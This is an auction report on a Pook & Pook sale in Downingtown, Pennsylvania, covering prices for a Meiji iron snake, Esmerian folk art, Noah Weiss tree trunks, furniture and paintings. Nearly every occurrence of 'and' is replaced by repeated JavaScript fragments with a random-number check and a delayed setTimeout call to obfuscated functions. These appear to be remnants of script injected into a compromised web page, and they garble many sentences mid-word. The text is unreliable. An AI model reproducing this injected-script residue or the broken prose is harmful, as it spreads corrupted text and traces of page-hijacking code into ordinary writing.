By: Laura Beach

DOWNINGTOWN, PENN. — For its two-day cataloged auction on October 3–4, Pook & Pook started with Asian art, offering 218 lots of mostly Chinese porcelain, jade, ceramics, furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and paintings as a prelude to American fine andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts. In all, the nearly 940 lots of Asian andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and American art andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and antiques realized $1,932,457, just under the firm’s high estimate of $2,043,050. The firm said that $259,807 of the total came from its proprietary bidding platform, Bidsquare — an excellent result for technology in place for barely a month.

Leading the Asian field was a Japanese Meiji period patinated iron articulated snake, probably of the Myochin school. Measuring 62 inches long, it went to an absentee bidder for $90,000 ($20/30,000).

“It was very exciting,” Deirdre Magarelli told Antiques andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and The Arts Weekly. “James Pook was at the podium. He had a bid of $65,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and it looked like the snake was going to sell. At the last second, the phone bidder yelled $70,000. The snake hammered down at $75,000.”

Among Asian ceramics, there was keen interest in a Kangxi porcelain peach bloom water pot with incised roundels of clouds, 3½ inches tall, $15,600; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a Nineteenth Century export porcelain platter in the Tobacco Leaf pattern, $11,400. Among jades, a 4½-inch tall celadon andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and russet carving of a gourd fetched $12,000. A carved rosewood screen, Nineteenth Century andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 83 inches tall, left the room at $10,800. Saturday ended with Oriental rugs andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and carpets, seeing top dollar for a circa 1900 Bakshaish, 21-foot, 4-inch by 13-foot, 5-inch, $19,200, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a circa 1910 Tabriz, 17-foot, 8-inch by 12-foot, 6-inch, $12,000.

Twenty-five lots of American folk art from the collection of Ralph Esmerian found favor. The pieces were bought in at Sotheby’s in January. From the podium, Ron Pook noted that he had recently received an email from Esmerian, who expressed pleasure in the fact that the pieces, mostly from Pennsylvania, were coming home. Notable successes included Nineteenth Century redware figures, among them a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding dog with a jug, $16,800 ($5/10,000); a monkey with a jug, $21,600 ($8/12,000); a standom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding lion, $13,200 ($5/10,000); andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a monkey with a pipe riding a dog, $10,800 ($7/10,000). A paint decorated Mahantango Valley slant front desk with Esmerian provenance surpassed estimate to sell for $66,000.

The auction also featured property formerly in the collection of Titus Geesey andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from the estate of Esther Shelley. Among six addendum lots from an unnamed source was a massive decorated hall tree andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and two freestandom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}anding decorated tree trunks by Lehigh County, Penn., folk artist Noah Weiss (1842–1907). Some readers will remember the Weiss pieces from the 2012 Philadelphia Antiques Show, where they were offered for $785,000, andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and from Antiques in Manchester, N.H., this past August, where they were again offered for a price in the high six figures. At auction, they achieved $8,400 against an estimate of $10/15,000. From the same group, a Berks County painted dower chest dated 1787 made $10,800 ($4/8,000) andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and painted bird tree, $10,200 ($2/4,000).

From another source, the cover lot, a 9-inch-tall carved andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and painted Wilhelm Schimmel eagle, was probably made for William Byers around 1875. The figure, exhibited at Colonial Williamsburg’s Abby Aldrich Rockefeller Folk Art Center in 1965, crossed the block at $72,000 ($30/50,000).

Featured furniture included a Lancaster, Penn., slant front desk of circa 1780, $36,000 ($8/12,000), andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an inlaid cherry desk andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and bookcase, circa 1790, $28,800 ($10/15,000). There was sharp interest in a Simon Willard & Son banjo regulator clock, circa 1820, $21,600.

Accessories included a New York Type I Lily Pad blue blown glass pitcher. Attributed to the Lancaster Glass Works andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and 6¼ inches tall, it went for $10,800 ($5/10,000). A Haxton, Ottoman & Co., Fort Edward N.Y., 5-gallon stoneware crock decorated with ducks under a tree brought $19,200.

Pook is a premier venue for the arts of Pennsylvania so it was hardly a surprise that a Philadelphia silver fire trumpet inscribed to the Neptune Hose Company garnered $8,400 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and an iron andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and brass kettle lamp by Peter Derr of Berks County made $7,200. A hat box andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and hat, the latter purportedly owned by Revolutionary War officer Jonathan Weaver of Goodville, Lancaster County, was bid to $22,800; a paint decorated Mahantango Valley saffron cup achieved $15,600; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and a paint decorated apple box from the Esmerian collection made $10,800.

Among 76 paintings lots, interest centered on “Mahone Bay, Nova Scotia” by Walter Farndon, $13,200; a brilliant autumnal farmscape by Fern Coppedge, $10,800; a pair of primitive early Nineteenth Century oil on board portraits attributed to Ralph D. Curtis, $10,800; a pair of oil on panel profile portraits attributed to a Mr Boyd of Harrisburg, $10,800; andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Charles Wilson Knapp’s Pennsylvania landom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andscape “On Cobb’s Creek,” $10,200.

Pook & Pook is hosting a live sale of English andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Continental furniture andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and decorative arts on November 15. An online sale of decorative arts is planned for November 19.

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